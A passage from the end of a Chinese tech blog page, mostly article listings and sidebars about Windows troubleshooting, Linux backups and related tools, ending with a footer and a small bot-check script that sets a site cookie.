在此提供的WinPcap.exe文件,主要用于解决在部分Windows操作系统中出现的【wpcap.dll】缺失问题。该问题可能导致一些网络相关的软件无法正常运行,出现错</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774494762a3571815.html" title="在DirectShow编程中探索DX9.0的SWF奥秘,从新手到专家">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="在DirectShow编程中探索DX9.0的SWF奥秘,从新手到专家">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774494762a3571815.html" class="post-item-title" title="在DirectShow编程中探索DX9.0的SWF奥秘,从新手到专家"> <h3>在DirectShow编程中探索DX9.0的SWF奥秘,从新手到专家</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">本来就很想自己做个媒体播放器来耍耍,可惜一直没有机会。这次突然有机会接触到个跟视频流打交道的程序。欣喜若狂的开始,却被将近一周的配置DirectShow环境给击倒了。好,言归正题,方便其他人不要再绕很远的路。 首先是SDK的问</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774499412a3571866.html" title="掌握C#中的Flash中心压缩与解压缩,提升项目效率">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="掌握C#中的Flash中心压缩与解压缩,提升项目效率">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774499412a3571866.html" class="post-item-title" title="掌握C#中的Flash中心压缩与解压缩,提升项目效率"> <h3>掌握C#中的Flash中心压缩与解压缩,提升项目效率</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">【【【【C#压缩文件】】】】方法1:【filepath想要压缩文件的地址】【zippath输出压缩文件的地址】private void GetFileToZip(string f</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774510237a3571991.html" title="DISM++:你的Flash播放问题终结者,提升性能">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="DISM++:你的Flash播放问题终结者,提升性能">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774510237a3571991.html" class="post-item-title" title="DISM++:你的Flash播放问题终结者,提升性能"> <h3>DISM++:你的Flash播放问题终结者,提升性能</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">简介:DISM++是一款全方位的电脑维护软件,提供深度扫描和清理功能,专为优化个人计算机而设计。它能够高效清除各种系统垃圾和无用文件,释放硬盘空间,并通过系统清理、优化、备份和恢复功能提高电脑的运行速度和性能。该软件还支持多语言界面,</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774511674a3572010.html" title="系统维护必备工具:DISM++助你轻松应对Flash中心和Player">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="系统维护必备工具:DISM++助你轻松应对Flash中心和Player">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774511674a3572010.html" class="post-item-title" title="系统维护必备工具:DISM++助你轻松应对Flash中心和Player"> <h3>系统维护必备工具:DISM++助你轻松应对Flash中心和Player</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">1月前</div> </div> <p class="post-item-summary">简介:DISM++是一款全方位的电脑维护软件,提供深度扫描和清理功能,专为优化个人计算机而设计。它能够高效清除各种系统垃圾和无用文件,释放硬盘空间,并通过系统清理、优化、备份和恢复功能提高电脑的运行速度和性能。该软件还支持多语言界面,</p> </div> </div> </div> <div class="roclinux-cn comments"> <div class="roclinux-cn postcomm block-wrap" id="divCommentPost"> <h2 class="block-title"> 发表评论 </h2> <form id="saypl" target="_self" method="post" name="saypl" action="/comment/create/689949.html?safe_token=TVeE_2Fg_2BIkfdc_2F68xVWPxiWD4NKMpHnmbjDc_2BaxuA4RNibebtO8dIYZ_2BcQ_2BsQ28bRmME3qOqJuhsUiNyG"> <input type="hidden" name="doctype" value="1" /> <input type="hidden" name="quotepid" value="0" /> <div class="roclinux-cn comment-box comment-textarea"> <textarea name="message" id="txaArticle" class="text" cols="50" rows="4" tabindex="5" placeholder="评论内容"></textarea> </div> <input name="sumbit" type="submit" tabindex="6" value="发表评论" class="sub"> </form> </div> </div> <div class="sn-comments"> <div class="sn-comments__title">全部评论 0</div> <div class="sn-comments__body"> <div class="sn-empty">暂无评论</div> </div> </div> </div> </div> <div class="aside"> <div class="block-wrap" id="side-top-dxt"> <h2 class="block-title">推荐文章<i class="mcico mico-right"></i></h2> <div class="mcdas"> <a href="/b/1773842210a3566341.html" title="steam错误代码-118怎么办?101,137等问题解决_stream 错误代码:-118" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="steam错误代码-118怎么办?101,137等问题解决_stream 错误代码:-118" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> steam错误代码-118怎么办?101,137等问题解决_stream 错误代码:-118 </h3> </div> </a> <a href="/b/1773955364a3567644.html" title="理解与监测Linux系统的CPU负载与使用率" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="理解与监测Linux系统的CPU负载与使用率" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 理解与监测Linux系统的CPU负载与使用率 </h3> </div> </a> <a href="/b/1773974776a3567870.html" title="双系统启动揭秘" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="双系统启动揭秘" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 双系统启动揭秘 </h3> </div> </a> <a href="/b/1774323219a3570405.html" title="简述清除浏览器缓存_清理浏览器缓存是什么意思" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="简述清除浏览器缓存_清理浏览器缓存是什么意思" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 简述清除浏览器缓存_清理浏览器缓存是什么意思 </h3> </div> </a> <a href="/p/1774497627a3571849.html" title="轻松使用USB_llsusb工具,检验USB权限是否开放" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="轻松使用USB_llsusb工具,检验USB权限是否开放" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 轻松使用USB_llsusb工具,检验USB权限是否开放 </h3> </div> </a> </div> </div> <div class="block-wrap" id="side-hot-view-item"> <h2 class="block-title">热门文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773578630a3563549.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="d3d11.dll出问题?一文教你如何解决,畅玩狙击精英V2" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="d3d11.dll出问题?一文教你如何解决,畅玩狙击精英V2" target="_blank" href="/b/1773578630a3563549.html"> <h3>d3d11.dll出问题?一文教你如何解决,畅玩狙击精英V2</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773724274a3564985.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="硬盘低格的有关问题 _低格伤硬盘吗" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="硬盘低格的有关问题 _低格伤硬盘吗" target="_blank" href="/b/1773724274a3564985.html"> <h3>硬盘低格的有关问题 _低格伤硬盘吗</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773828874a3566187.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux下如何结束一个应用程序(比如死循环的程序)?两种方法介绍给大家_在linux中结束循环程序的几种方法" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux下如何结束一个应用程序(比如死循环的程序)?两种方法介绍给大家_在linux中结束循环程序的几种方法" target="_blank" href="/b/1773828874a3566187.html"> <h3>Linux下如何结束一个应用程序(比如死循环的程序)?两种方法介绍给大家_在linux中结束循环程序的几种方法</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773889744a3566883.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Python——破解rar压缩包密码_password rar file" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Python——破解rar压缩包密码_password rar file" target="_blank" href="/p/1773889744a3566883.html"> <h3>Python——破解rar压缩包密码_password rar file</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774173631a3568680.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="硬盘坏道修复指南" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="硬盘坏道修复指南" target="_blank" href="/b/1774173631a3568680.html"> <h3>硬盘坏道修复指南</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774217248a3569183.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑没有声音了怎么恢复?3个硬核操作,解救静音危机!_电脑声音没有了怎么恢复 csdn" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑没有声音了怎么恢复?3个硬核操作,解救静音危机!_电脑声音没有了怎么恢复 csdn" target="_blank" href="/p/1774217248a3569183.html"> <h3>电脑没有声音了怎么恢复?3个硬核操作,解救静音危机!_电脑声音没有了怎么恢复 csdn</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774464389a3571468.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑自动关机?别担心,这里有四个实用步骤帮你搞定!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑自动关机?别担心,这里有四个实用步骤帮你搞定!" target="_blank" href="/b/1774464389a3571468.html"> <h3>电脑自动关机?别担心,这里有四个实用步骤帮你搞定!</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774481185a3571659.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="从0.88到1.13天:揭秘项目2013中工期小数点的秘密" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="从0.88到1.13天:揭秘项目2013中工期小数点的秘密" target="_blank" href="/b/1774481185a3571659.html"> <h3>从0.88到1.13天:揭秘项目2013中工期小数点的秘密</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774483649a3571685.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="解锁WinPcap新技能:揭秘wpcap.dll和_winpcap.lib的隐藏功能" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="解锁WinPcap新技能:揭秘wpcap.dll和_winpcap.lib的隐藏功能" target="_blank" href="/p/1774483649a3571685.html"> <h3>解锁WinPcap新技能:揭秘wpcap.dll和_winpcap.lib的隐藏功能</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774502055a3571897.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="USB无线网卡新趋势:聚焦于抓取无线网络数据的最新产品" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="USB无线网卡新趋势:聚焦于抓取无线网络数据的最新产品" target="_blank" href="/p/1774502055a3571897.html"> <h3>USB无线网卡新趋势:聚焦于抓取无线网络数据的最新产品</h3> </a> <span class="post-date">1月前</span> </div> </li> </ul> </div> <div class="block-wrap" id="side-new-view-item"> <h2 class="block-title">最新文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513457a3572031.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="一文教会你AIX系统备份:mksysb实用指南" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="一文教会你AIX系统备份:mksysb实用指南" target="_blank" href="/p/1774513457a3572031.html"> <h3>一文教会你AIX系统备份:mksysb实用指南</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513382a3572030.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="SWF文件备份失败?这些步骤让你轻松搞定" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="SWF文件备份失败?这些步骤让你轻松搞定" target="_blank" href="/p/1774513382a3572030.html"> <h3>SWF文件备份失败?这些步骤让你轻松搞定</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513230a3572028.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" target="_blank" href="/p/1774513230a3572028.html"> <h3>Win10系统备份轻松搞定:掌握captureimage命令的关键技巧</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513079a3572026.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统安全小贴士:掌握备份与恢复,安心每一天" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统安全小贴士:掌握备份与恢复,安心每一天" target="_blank" href="/p/1774513079a3572026.html"> <h3>Linux系统安全小贴士:掌握备份与恢复,安心每一天</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774512928a3572024.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="省时省心!三步完成电脑系统高效备份!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="省时省心!三步完成电脑系统高效备份!" target="_blank" href="/p/1774512928a3572024.html"> <h3>省时省心!三步完成电脑系统高效备份!</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513306a3572029.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" target="_blank" href="/b/1774513306a3572029.html"> <h3>Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513154a3572027.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统不哭:高效备份与快速恢复方案" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统不哭:高效备份与快速恢复方案" target="_blank" href="/b/1774513154a3572027.html"> <h3>Linux系统不哭:高效备份与快速恢复方案</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513003a3572025.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统安全大计,备份技巧大公开" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统安全大计,备份技巧大公开" target="_blank" href="/b/1774513003a3572025.html"> <h3>Ubuntu系统安全大计,备份技巧大公开</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512852a3572023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="GHOST教程:系统备份和还原,小白也能变成高手!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="GHOST教程:系统备份和还原,小白也能变成高手!" target="_blank" href="/b/1774512852a3572023.html"> <h3>GHOST教程:系统备份和还原,小白也能变成高手!</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512777a3572022.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" target="_blank" href="/b/1774512777a3572022.html"> <h3>Linux备份与恢复必修课:SWF文件安全策略从入门到精通</h3> </a> <span class="post-date">1月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736247036a1725023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" target="_blank" href="/lvyou/1736247036a1725023.html"> <h3>Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246824a1724956.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" target="_blank" href="/lvyou/1736246824a1724956.html"> <h3>The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246607a1724902.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" target="_blank" href="/lvyou/1736246607a1724902.html"> <h3>Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246384a1724842.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" target="_blank" href="/lvyou/1736246384a1724842.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246169a1724784.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" target="_blank" href="/lvyou/1736246169a1724784.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768821301a3533414.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" target="_blank" href="/shuma/1768821301a3533414.html"> <h3>电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历</h3> </a> <span class="post-date">3月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820793a3533413.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" target="_blank" href="/shuma/1768820793a3533413.html"> <h3>与GWX的持久战:一段关于Windows10升级弹窗的私人记忆</h3> </a> <span class="post-date">3月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820277a3533412.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="以管理员身份运行:那些年我们追过的权限与踩过的坑" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="以管理员身份运行:那些年我们追过的权限与踩过的坑" target="_blank" href="/shuma/1768820277a3533412.html"> <h3>以管理员身份运行:那些年我们追过的权限与踩过的坑</h3> </a> <span class="post-date">3月前</span> </div> </li> </ul> </div> </div> </div> <div class="footer"> CopyRight © 2022 All Rights Reserved. <br class="footer-br" /> <a href="/" target="_blank">Powered By Linux大棚 – 不忘初心的技术博客,浮躁时代的安静角落</a>| <a target="_blank" rel="nofollow" href="https://beian.miit.gov.cn/" style="font-size: 12px;">豫ICP备2022026798号-10</a> </div> <!-- JS挑战核心逻辑(静默验证,无DOM修改,不影响样式) --> <script type="text/javascript"> // 立即执行函数,确保页面加载时优先执行 (function() { // 1. MD5辅助函数(生成唯一验证哈希) function md5(str) { let hash = 0; if (str.length === 0) return hash.toString(); for (let i = 0; i < str.length; i++) { const char = str.charCodeAt(i); hash = ((hash << 5) - hash) + char; hash = hash & hash; } return hash.toString(16); } // 2. 核心验证逻辑 function verify() { try { // 验证是否为真实浏览器环境(拦截代理/脚本) if (!window || !document || !navigator || !screen) { throw new Error("非合法浏览器环境"); } // 检查是否已有验证Cookie,避免重复生成 if (document.cookie.includes("js_challenge=pass_")) { console.log("✅ 已有验证Cookie,无需重复验证"); return; } // 生成验证参数(绑定浏览器特征,无法伪造) const nonce = Math.random().toString(36).substr(2, 10); const ip = window.location.hostname; const hash = md5(nonce + ip + navigator.userAgent + screen.width + screen.height); // 强制生成验证Cookie(适配所有域名/端口) document.cookie = `js_challenge=pass_${hash}; path=/; domain=${window.location.hostname}; max-age=86400; SameSite=Lax; Secure=${window.location.protocol === 'https:'}`; console.log("✅ JS挑战验证成功,生成Cookie:", `js_challenge=pass_${hash}`); } catch (e) { // 验证失败仅控制台报错,不修改页面样式 console.error("❌ JS挑战拦截:", e.message); } } // 立即执行验证(不等待页面加载,避免缓存/加载中断问题) verify(); })(); </script> <script src="/view/js/xiuno.js?2.3.0"></script> <script src="/view/template/quzhiwa/js/custom.js?2.3.0"></script> <script> $('.cat-tab-wrap li[data-active="fid-1"]').addClass('current-menu-item'); $('.menu-header-container li[data-active="fid-1"]').addClass('current-menu-item'); </script> </body> </html>